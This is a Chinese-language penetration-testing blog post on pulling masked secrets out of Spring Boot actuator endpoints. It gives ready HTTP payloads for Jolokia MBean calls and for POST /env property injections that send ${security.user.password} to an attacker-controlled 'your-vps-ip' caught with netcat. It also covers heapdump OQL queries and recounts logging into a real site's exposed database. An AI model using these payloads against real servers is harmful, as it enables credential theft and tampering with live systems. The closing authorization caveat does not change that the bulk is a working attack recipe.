前言
之前对spring boot的敏感信息泄露和rce漏洞进行了整理复现。
https://www.jianshu.com/p/8c18f1e05c94
前段时间看到师傅们通过获取env端点脱敏的数据库密码成功getshell,自己也动手尝试下。
spring boot 获取env端点脱敏数据
当访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret、key等)的属性名对应的属性值用 * 号替换达到脱敏的效果。
如果对属性名的命名不规范,则会导致敏感信息直接明文显示出来。
如下为实战中遇到的一个网站。
数据库密码属性明文不规范,password命名为了passwd,导致密码直接明文显示出来。
数据库地址为外网地址,直接登录,成功获取到了数据库权限。
正常情况下spring actuator会使用*号进行脱敏处理。
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ******关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名,尝试进行脱敏处理,获取明文。
方法一
利用条件:
1、目标网站存在 /jolokia 或 /actuator/jolokia 接口
2、目标使用了 jolokia-core 依赖(版本要求暂未知)
利用过程:
jolokia 调用相关 Mbean 获取明文
调用 org.springframework.boot Mbean
实际调用的是 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖)
实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
方法二
利用条件
1、可以 GET 请求目标网站的 /env
2、可以 POST 请求目标网站的 /env
3、可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
4、目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
5、目标可出网
利用过程
使用 nc 监听 HTTP 请求
1、在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
2、设置 eureka.client.serviceUrl.defaultZone 属性
修改security.user.password为想要读取的密文。
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
3、访问/refresh端点刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
4、 解码属性值
正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:
Authorization: Basic dmFsdWU6MTIzNDU2
使用base64解码得到明文。
方法三
利用条件:
1、通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
2、请求可出外网
利用过程:
参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
1、找到想要获取的属性名
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,确定其对应的属性名。
2、 使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
3、触发对外 http 请求
spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况):
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况):
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
4、刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
vps成功接收到密码。
方法四
利用条件
1、目标不出网,且/jolokia 接口没有合适的 MBean 或者不支持 POST 请求
2、目标存在/heapdump 或 /actuator/heapdump端点
利用过程
1、首先找到想要获取的属性名
2、下载 jvm heap 信息
访问/heapdump 或 /actuator/heapdump端点,下载应用实时的 JVM 堆信息。
spring boot 1.x版本下载的heapdump文件包含了时间以及后缀,在spring boot 2.x版本,需要把下载到的heapdump文件修改为hprof后缀。
3、使用 Eclipse Memory Analyzer 获得 jvm heap 中的密码明文
下载地址:https://www.eclipse.org/mat/downloads.php
运行Eclipse Memory Analyzer,把文件导入进去,点击OQL输入执行的查询语句,点击感叹号执行语句。
select * from org.springframework.web.context.support.StandardServletEnvironment
查找想要查看的密码属性,理论来说spring boot 1.x版本redis密码存在java.util.Hashtable$Entry
实例的键值对中,2.x版本存储在java.util.LinkedHashMap$Entry
实例的键值对中,实际情况中,无论1.x和2.x版本这2个实例都有可能存储密码属性,也可能存储在一些其它实例中,需要自行查找。
搜索存储在java.util.LinkedHashMap$Entry
实例的密码属性。
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
搜索存储在
java.util.Hashtable$Entry
实例的密码属性。
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
注意事项
POST访问env端点修改属性,会破坏原有属性,影响网站系统正常使用。请在取得授权后进行测试,并且记录原有属性值,测试完成后及时修改回去,防止不必要的麻烦。
参考链接
https://zhuanlan.zhihu.com/p/147251883
https://github.com/LandGrey/SpringBootVulExploit